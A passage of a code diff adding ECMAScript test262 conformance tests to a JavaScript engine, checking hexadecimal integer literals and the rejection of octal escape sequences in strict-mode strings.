+//CHECK#4
+if (0X01000 !== 4096) {
+ $ERROR('#4: 0X01000 === 4096');
+}
+
+//CHECK#5
+if (0X010000 !== 65536) {
+ $ERROR('#5: 0X010000 === 65536');
+}
+
+//CHECK#6
+if (0X0100000 !== 1048576) {
+ $ERROR('#6: 0X0100000 === 1048576');
+}
+
+//CHECK#7
+if (0X01000000 !== 16777216) {
+ $ERROR('#7: 0X01000000 === 16777216');
+}
+
+//CHECK#8
+if (0X010000000 !== 268435456) {
+ $ERROR('#8: 0X010000000 === 268435456');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T7.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T7.js
new file mode 100644
index 000000000..7bc52989c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T7.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T7.js
+ * @description HexIntegerLiteral :: 0x one of a, b, c, d, e, f
+ */
+
+//CHECK#a
+if (0xa !== 10) {
+ $ERROR('#a: 0xa === 10');
+}
+
+//CHECK#b
+if (0xb !== 11) {
+ $ERROR('#b: 0xb === 11');
+}
+
+//CHECK#c
+if (0xc !== 12) {
+ $ERROR('#c: 0xc === 12');
+}
+
+//CHECK#d
+if (0xd !== 13) {
+ $ERROR('#d: 0xd === 13');
+}
+
+//CHECK#e
+if (0xe !== 14) {
+ $ERROR('#e: 0xe === 14');
+}
+
+//CHECK#f
+if (0xf !== 15) {
+ $ERROR('#f: 0xf === 15');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T8.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T8.js
new file mode 100644
index 000000000..1f95ab586
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A5.1_T8.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * DecimalLiteral :: HexIntegerLiteral
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A5.1_T8.js
+ * @description HexIntegerLiteral :: 0X one of a, b, c, d, e, f
+ */
+
+//CHECK#a
+if (0Xa !== 10) {
+ $ERROR('#a: 0Xa === 10');
+}
+
+//CHECK#b
+if (0Xb !== 11) {
+ $ERROR('#b: 0Xb === 11');
+}
+
+//CHECK#c
+if (0Xc !== 12) {
+ $ERROR('#c: 0Xc === 12');
+}
+
+//CHECK#d
+if (0Xd !== 13) {
+ $ERROR('#d: 0Xd === 13');
+}
+
+//CHECK#e
+if (0Xe !== 14) {
+ $ERROR('#e: 0Xe === 14');
+}
+
+//CHECK#f
+if (0Xf !== 15) {
+ $ERROR('#f: 0Xf === 15');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T1.js
new file mode 100644
index 000000000..3be2b908f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HexIntegerLiteral :: 0(x/X) is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A6.1_T1.js
+ * @description Checking if execution of "0x" passes
+ * @negative
+ */
+
+//CHECK#1
+0x
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T2.js
new file mode 100644
index 000000000..8b813b81f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * HexIntegerLiteral :: 0(x/X) is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A6.1_T2.js
+ * @description Checking if execution of "0X" passes
+ * @negative
+ */
+
+//CHECK#1
+0X
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T1.js
new file mode 100644
index 000000000..accd26589
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 0xG is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A6.2_T1.js
+ * @description Checking if execution of "0xG" fails
+ * @negative
+ */
+
+//CHECK#1
+0xG
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T2.js
new file mode 100644
index 000000000..7a14fef29
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/S7.8.3_A6.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 0xG is incorrect
+ *
+ * @path ch07/7.8/7.8.3/S7.8.3_A6.2_T2.js
+ * @description Checking if execution of "0xg" fails
+ * @negative
+ */
+
+//CHECK#1
+0xg
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/browser.js b/js/src/tests/test262/ch07/7.8/7.8.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.3/shell.js b/js/src/tests/test262/ch07/7.8/7.8.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.3/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1-s.js
new file mode 100644
index 000000000..f5548e4f3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-1-s.js
+ * @description A directive preceeding an 'use strict' directive may not contain an OctalEscapeSequence
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval(' "asterisk: \\052" /* octal escape sequences forbidden in strict mode*/ ; "use strict";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-10-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-10-s.js
new file mode 100644
index 000000000..c7069c0fa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-10-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-10-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = " \\10 ";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-11-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-11-s.js
new file mode 100644
index 000000000..02e5264b9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-11-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-11-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\16";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-12-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-12-s.js
new file mode 100644
index 000000000..27211ab83
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-12-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-12-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\17";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-13-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-13-s.js
new file mode 100644
index 000000000..a5641d491
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-13-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-13-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\30";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-14-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-14-s.js
new file mode 100644
index 000000000..11a3ceaba
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-14-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-14-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\31";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-15-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-15-s.js
new file mode 100644
index 000000000..ddf59df33
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-15-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-15-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\37";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-16-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-16-s.js
new file mode 100644
index 000000000..add6f1b16
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-16-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-16-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\400";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-17-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-17-s.js
new file mode 100644
index 000000000..f132d927c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-17-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-17-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\411";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-18-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-18-s.js
new file mode 100644
index 000000000..db679216f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-18-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-18-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\43a";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-19-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-19-s.js
new file mode 100644
index 000000000..c1792cfa3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-19-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-19-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\463";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1gs.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1gs.js
new file mode 100644
index 000000000..4974d0b5f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-1gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-1gs.js
+ * @description Strict Mode - OctalEscapeSequence(\0110) is forbidden in strict mode
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+var _7_8_4_2 = '100abc\0110def';
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-2-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-2-s.js
new file mode 100644
index 000000000..5d5e02dc3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-2-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-2-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\1";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-20-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-20-s.js
new file mode 100644
index 000000000..170cb4c5a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-20-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-20-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\474";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-21-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-21-s.js
new file mode 100644
index 000000000..1dca614fc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-21-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-21-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\77";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-22-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-22-s.js
new file mode 100644
index 000000000..dc7399147
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-22-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-22-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\777";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-23-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-23-s.js
new file mode 100644
index 000000000..e8d7c1204
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-23-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-23-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\000";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-24-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-24-s.js
new file mode 100644
index 000000000..e0cea8f6e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-24-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-24-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\001";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-25-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-25-s.js
new file mode 100644
index 000000000..060d0cd07
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-25-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-25-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\106";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-26-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-26-s.js
new file mode 100644
index 000000000..d986b4de9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-26-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-26-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\207";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-27-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-27-s.js
new file mode 100644
index 000000000..b208bdb6f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-27-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-27-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\377";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-28-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-28-s.js
new file mode 100644
index 000000000..a0967eb8e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-28-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-28-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\376";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-29-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-29-s.js
new file mode 100644
index 000000000..60e65af65
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-29-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-29-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\3760";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-3-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-3-s.js
new file mode 100644
index 000000000..0885c5c74
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-3-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
